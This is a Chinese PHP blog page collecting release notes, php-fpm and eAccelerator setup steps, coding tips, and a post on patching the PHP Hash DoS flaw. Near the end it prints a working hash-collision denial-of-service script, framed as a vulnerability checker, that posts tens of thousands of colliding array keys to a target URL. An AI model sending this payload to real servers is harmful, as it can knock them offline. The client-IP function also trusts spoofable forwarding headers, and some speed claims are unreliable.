PHP 5.3.18 发布

下载地址:http://www.php.net/downloads.php

变化如下:

  • Core
    • Fixed bug #63111 (is_callable() lies for abstract static method).
    • Fixed bug #63093 (Segfault while load extension failed in zts-build).
    • Fixed bug #62976 (Notice: could not be converted to int when comparing some builtin classes).
    • Fixed bug #61767 (Shutdown functions not called in certain error situation).
    • Fixed bug #61442 (exception threw in __autoload can not be catched).
    • Fixed bug #60909 (custom error handler throwing Exception + fatal error = no shutdown function).

      阅读更多

在Linux中将php-fpm配置成服务的方法

1.配置php-fpm.conf

vi /usr/local/php/etc/php-fpm.conf

php-fpm.pid 目录必须指向:/usr/local/php/var/run/php-fpm.pid

 

2.拷贝php-fpm脚本至/etc/init.d目录

cp /home/soft/php-5.3.15/sapi/fpm/init.d.php-fpm /etc/init.d/php-fpm

 

3.设置权限并启动php-fpm:

chmod 755 /etc/init.d/php-fpm

/etc/init.d/php-fpm start

chkconfig –add php-fpm

 

最后,给出php-fpm以服务的方式启动、停止和重启:

service php-fpm start

service php-fpm stop

service php-fpm reload

 

备注:上述方法是基于PHP 5.3.15版本,其他版本仅供参考!

用PHP获取客户端真实IP的函数代码分享

代码如下:

<?php
function getIp()
{
    $realip = null;

    if ($realip !== null) return $realip;
    if (isset($_SERVER)) {
        if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            $arr = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
            foreach ($arr as $ip) {
                $ip = trim($ip);
                if ($ip != 'unknown') {
                    $realip = $ip;
                    break;
                }
            }
        } elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
            $realip = $_SERVER['HTTP_CLIENT_IP'];
        } else {
            if (isset($_SERVER['REMOTE_ADDR'])) {
                $realip = $_SERVER['REMOTE_ADDR'];
            } else {
                $realip = '0.0.0.0';
            }
        }
    } else {
        if (getenv('HTTP_X_FORWARDED_FOR')) {
            $realip = getenv('HTTP_X_FORWARDED_FOR');
        } elseif (getenv('HTTP_CLIENT_IP')) {
            $realip = getenv('HTTP_CLIENT_IP');
        } else {
            $realip = getenv('REMOTE_ADDR');
        }
    }
    preg_match("/[\d\.]{7,15}/", $realip, $onlineip);
    $realip = !empty($onlineip[0]) ? $onlineip[0] : '0.0.0.0';
    return $realip;
}
?>

PHP处理字符串技巧

PHP处理字符串的能力非常强大,方法也是多种多样,但有的时候你需要选择一种最简单且理想的解决方法。文章列举了10个PHP中常见的字符串处理案例,并提供了相对应的最理想的处理方法。

1.确定一个字符串的长度

这是文章中最明显的一个例子,其中的问题是我们如何来确定一个字符串的长度,这里我们不能不提的就是strlen()函数:

阅读更多

提高PHP编程效率的若干技巧

0.用单引号代替双引号来包含字符串,这样做会更快一些。因为PHP会在双引号包围的字符串中搜寻变量,单引号则不会,注意:只有echo能这么做,它是一种可以把多个字符串当作参数的“函数”(译注:PHP手册中说echo是语言结构,不是真正的函数,故把函数加上了双引号)。

1.如果能将类的方法定义成static,就尽量定义成static,它的速度会提升将近4倍。

2.$row[’id’] 的速度是$row[id]的7倍。

3.echo 比 print 快,并且使用echo的多重参数(译注:指用逗号而不是句点)代替字符串连接,比如echo $str1,$str2。

4.在执行for循环之前确定最大循环数,不要每循环一次都计算最大值,最好运用foreach代替。

5.注销那些不用的变量尤其是大数组,以便释放内存。

阅读更多

PHP 5.4 正式版发布,最后一个支持Windows XP/2003的版本

PHP开发团队正式发布了PHP 5.4,这是5.x系列的一个重大更新版本,包含了大量新特性和bug修复。

该版本的主要新特性包括:

  • 新的语法,包括Traits、shortened array syntax等等
  • 提高了性能,减少了内存消耗
  • 现在可以通过运行时开关,使所有的PHP版本支持多字节语言
  • 内置了CLI模式Web服务器,以简化开发工作流和测试工作
  • 移除多个过时的语言功能,精简了代码

兼容相关的变化:

  • 移除了Register globals、magic quotes 和safe mode
  • 移除了break/continue $var语法
  • 移除了ini选项“allow_call_time_pass_reference”
  • 在php.ini文件中,PHP默认字符集现在是UTF-8

详细信息:ChangeLog

PHP开发团队称,该版本将是最后一个支持Windows XP 和 Windows 2003的版本,今后将不再提供针对这些操作系统的二进制包。

迁移指南:http://php.net/migration54

下载地址:http://www.php.net/downloads.php

为PHP加装eAccelerator方法

eAccelerator是一个自由开放源码的PHP加速器,优化和动态内容缓存,提高了PHP脚本的缓存性能,使得PHP脚本在编译的状态下,对服务器的开销几乎完全消除。 它还有对脚本起优化作用,以加快其执行效率。使PHP程序代码执行效率提高1-10倍;

下面我们以eAccelerator 0.9.6.1版本为例,介绍一下编译安装方法:

1. 编译安装

tar jxvf ./eaccelerator-0.9.6.1.tar.bz2
cd eaccelerator-0.9.6.1
/usr/local/php/bin/phpize
./configure –with-php-config=/usr/local/php/bin/php-config –enable-eaccelerator=shared
make
make install

阅读更多

Nginx + PHP(FastCGI)安装配置笔记

这是站长在2011年时一次安装服务器时所记录的Nginx和PHP的安装笔记。安装过程记录的比较简略,仅仅是一个大致的流程,一些细节描述的不够详细,请多多谅解,我会在日后重新整理一份详细的安装过程,本文仅供参考!

软件环境:CentOS 5.7 + PHP 5.2.17 + Nginx 0.8.55

阅读更多

一段用于检测PHP Hash漏洞的代码

下面是一段从互联网上转载来的PHP代码,可以用来检测服务器上的PHP是否存在Hash漏洞。

<?php
$size = pow(2, 16);
$array = array();
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://www.xxx.com/index.php"); //修改成你的网站域名
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
    #$array[$key] = 0;
    $argument.="a[".$key."]=0&";
}
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $argument."1=1");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, '0');
curl_setopt($ch, CURLOPT_USERAGENT, 'API REQUEST(CURL)');

$return['result'] = curl_exec($ch);
$return['code'] = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
?>

上面的代码请谨慎使用,同时提醒大家尽快修补漏洞,相关的方法请参见:http://www.sunbloger.com/article/224.html

 

修复PHP 5.2.x的Hash漏洞

近来爆发出来的Hash DOS漏洞威力十足,杀伤力很大。随便一台服务器就可以发起DDOS攻击,导致CPU长期占用100%,从而使服务器宕机。下面给出PHP 5.2.x的修复方法:

  • 下载补丁:https://github.com/laruence/laruence.github.com/tree/master/php-5.2-max-input-vars,下载对应的补丁版本;
  • 进入PHP目录,执行patch -p1 < php-5.2.*-max-input-vars.patch,打上补丁;
  • 重新编译安装,makemake install即可。

备注:最新发布的PHP 5.3.9和后续版本已经修复了这一漏洞。